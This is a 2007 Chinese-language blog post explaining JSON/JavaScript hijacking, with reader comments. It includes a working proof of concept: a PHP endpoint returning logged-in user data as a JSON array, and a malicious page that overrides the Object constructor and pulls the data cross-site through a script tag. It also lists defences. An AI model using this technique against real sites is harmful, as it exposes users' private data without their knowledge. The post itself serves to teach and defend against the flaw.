最近更新: 2007-04-04

JavaScript Hijacking and How to

Tags: ajax javascript webdev 資安

日前 Fortify 發表了一份文件《Fortify Software Documents Pervasive and Critical Vulnerability in Web 2.0》,描述惡意網站如何透過瀏覽器取得基於 Ajax 及 JSON 規範傳遞之跨網域的隱密資料。它將此方式稱之為 JavaScript Hijacking 。詳細的 Hijacking 內容請至《JavaScript Hijacking Vulnerability Detected》下載文件。

本文將說明 JavaScript Hijacking 概念以及一個範例。

JavaScript Hijacking 的運作概念

近來許多網站皆引入 Web 2.0 的概念,大量使用 Ajax 與 JSON 技術,透過非同步載入資料的方式,提供許多互動功能。這些載入資料就是 JavaScript Hijacking 的目標。

JavaScript Hijacking 並不需要入侵目標網站植入任何程式碼,只需要使用者正常地登入目標網站,再等待他們瀏覽包含 JavaScript Hijacking 程式碼的惡意網頁即可。這並不困難,因為很多使用者皆有登入一大堆網站後,再四處瀏覽各種網頁的習慣。例如你是一個 Gmail 用戶,那麼你打開瀏覽器後的第一件事,大概就是先登入 Gmail 網頁,接著你會開啟其他瀏覽器視窗繼續觀看其他網頁。若是其中有一個惡意網頁鎖定 Gmail 用戶進行 JavaScript Hijacking 攻擊,當你一瀏覽這個惡意網頁,它就可以透過 JavaScript –如同 Gmail 網頁所採用的方式– 向 Gmail 伺服器索取你的資料。

How to Hijacking

在 Ajax 技術中,我們通常使用 XmlHttpRequest 傳輸資料,而它在使用上有個安全性限制,即禁止跨網站的資料傳送。基本上,這項限制非常管用。然而熟悉 Ajax 技術的程序員知道還有其他手段可以非同步地傳輸資料,例如《Load and Execute JavaScript on Demand, by createElement》就是採用 <script> 標籤載入資料。這也正是 JavaScript Hijacking 所採用的方式。接下來我將示範如何 Hijacking 。

首先,我先設計一個簡單的網頁當作使用者每天都會固定登入瀏覽的網站。當使用者尚未登入前,會傳回一份要求使用者登入的 HTML 文件。當使用者輸入 xyz 登入後,則傳回一份含有使用者資訊的 JSON 文件。網址設定為 http://localhost/test/session_hijacking.php。源碼如下列所示:

session_hijacking.php
<?php
function is_logon() {
    return (isset($_SESSION['logon']) && $_SESSION['logon'] === true
        ? true
        : false
    );
}

session_id('hijackTest');
session_start();

if (isset($_POST['username']) and $_POST['username'] == 'xyz'
    and !is_logon())
{
    $_SESSION['logon'] = true;
}

if (is_logon()) {
    $profile = array(
        'title' => 'xyz',
        'age'  => '15',
        'from' => 'taiwan'
    );
    echo '[', json_encode($profile), ']';
}
else {
    echo '<form method="post"><input type="text" name="username"/>
        <button type="submit">submit</button></form>';
}
?>

接著,我另外設計一個包含 JavaScript Hijacking 程式碼的惡意網頁,名為 hijacking.html ,源碼如下列所示:

hijacking.html
<html><body>
Hijacking...
<script type="text/javascript">
var hijackingData = {};

function Object() { // redefine/overwrite constructor of Object
    hijackingData = this;
}

var hijacking = setInterval(
    function() {
        if (hijackingData.from) {
            clearInterval(hijacking);
            function Object() {}  // clear hijacking constructor of Object

            var s = '';
            for (var p in hijackingData) {
                s += p + ' = ' + hijackingData[p] + '\n';
            }
            alert(s);
        }
    },
    500
);
</script>

<script src="http://localhost/test/session_hijacking.php">
</script>

</body></html>

Hijacking 的重點在前後兩段,首先覆寫 JavaScript 內建 Object 類別的建構子內容,即第6-8行之程式碼(此程式碼僅在Firefox有效,IE的JScript則用其他方式覆寫建構子)。由於 Object 是 JavaScript 之最上層基礎類別,如此一來當 JavaScript 建構任何個體時,都會執行第6-8行的內容。在此只是簡單地令 hijackingData 指涉最近一個建構的個體。最後,以 <script> 非同步地載入 http://localhost/test/session_hijacking.php 的資料。

操作圖例

我們先開啟一個瀏覽器視窗瀏覽 http://localhost/test/session_hijacking.php ,先不要登入。再開啟另一個瀏覽器視窗瀏覽 hijacking.html

分別瀏覽正常網站及惡意網頁之登入前畫面

然後,我們在正常網頁的表單中輸入 'xyz' 登入。現在我們看到正常網頁回傳了一份使用者資訊的 JSON 文件。接著,我們只要在惡意網頁的瀏覽器視窗按一下重新整理,惡意網頁就會跳出訊息視窗,顯示它已經逮到使用者理應僅在正常網站之下可以看到的資料。

分別瀏覽正常網站及惡意網頁之登入後畫面

防治方式

Fortify 在《JavaScript Hijacking Vulnerability Detected》之文件中已提出防治方式,在此僅簡述之。

僅允許使用 HTTP POST method 傳輸資料
因為 <script> 使用 HTTP GET method 取得資料,改用 HTTP POST method 可減少 hijacking 機會。然而《在使用者未察覺的情形下自動送出表單》一文中證明,我們還是有辦法發動 HTTP POST method 。
檢查referer
伺服端須檢查使用者瀏覽網頁之referer是否來自相同網域。
加上注釋符號或是改用 XML 格式
在《Load and Execute JavaScript on Demand, by createElement》中提到,以<script>載入資料時,便立即執行,不能選擇執行時機,也不能僅執行片段內容。因此外部文件必須是一個純 JavaScript 文件。若在 JSON 資料前後加上注釋符號,如 /*[{"title": "xyz"}]*/,便可令 JavaScript 視之為一般注釋而不加以執行,如此便不會喚起 Hijacking 程式碼。當然,改用 XML 格式也有同樣效果。再參閱《JSON 的安全性》了解載入 JSON 的安全作法。

Fortify 還檢測了12種常見的 Ajax framework ,有 DWR, GWT, Atlas, Dojo, jQuery, MochiKit, Moo.fx, Prototype, Rico, Script.aculo.us, xajax, Yahoo UI 。目前僅 DWR 2.0 建置了防治措施,其他沒有。

祝各位程序員清明連假,假期愉快。

樂多舊網址: http://blog.roodo.com/rocksaying/archives/2955557.html

樂多舊回應
未留名 (#comment-4359235)
Sat, 07 Apr 2007 11:55:19 +0800
看了一下各方反應,發覺有些人並未查覺危險性,以為這項漏洞也要先在目標網站上植入程式碼。這是錯誤的認知。所以我編輯一次本文,特意在「並不需要入侵目標網站植入任何程式碼」這句話上加上強調記號。

另外,在 session_hijacking.php 的第 24 行產生 JSON 文件的動作中,我特意加上了 ('[', ']') 令其為一個 JSON array 。這是一個語法限制。如果直接回傳一個 JSON object (即 {, }) ,將發生語法錯誤,上述的 hijacking 程式碼便無法運作。在 Dojo team 的 blog 中也有提到這點 (See: A Note on "JavaScript Hijacking")。

不過這項語法限制的可靠度不高,也許有心人士還是有辦法找到突破點。
未留名 (#comment-4373049)
Sun, 08 Apr 2007 21:41:06 +0800
谢谢,弥补了我的一些空白
未留名 (#comment-4385927)
Tue, 10 Apr 2007 13:01:14 +0800
好文章,谢谢。
gjguo.csie@gmail.com(gjguo) (#comment-4387411)
Tue, 10 Apr 2007 17:42:28 +0800
您好,文中提到"IE的JScript則用其他方式覆寫建構子",我嘗試了一下,用prototype也不行,能否請你給個例子,多謝。
未留名 (#comment-4403005)
Wed, 11 Apr 2007 11:48:11 +0800
舊版IE 的 JScript 有很多古怪的行為,我所知道之標準的覆寫方式,不完全適用於舊版IE。我也無意深究。

Fortify 文件中所示範的方式為覆寫後添加 setter 的定義,達到 hijack 的目的。但舊版IE (v5.5/v6) 並不支援 setter ,所以不適用;另一方面,根據規劃中的 ECMA262 第4版草案內容,新版IE 將會支援 setter ,故新版IE (IE7) 理論上可以用 setter 達到 hijack 的目的。但我並未安裝 IE7 ,所以無法證實這一點。

容我提醒,我只說我不知道如何覆寫IE5.5, IE6 的 Object 建構子內容。但其他人,尤其是那些鎖定IE漏洞的 hacker 可能知道怎麼做,所以別誤以為 IE 不受此安全漏洞的影嚮。
未留名 (#comment-10183323)
Thu, 03 May 2007 19:26:09 +0800
對於 JavaScript Hijacking 微軟 ASP.NET AJAX Extension (Altas) 已經有了些初步的回應了: JSON Hijacking and How ASP.NET AJAX 1.0 Avoids these Attacks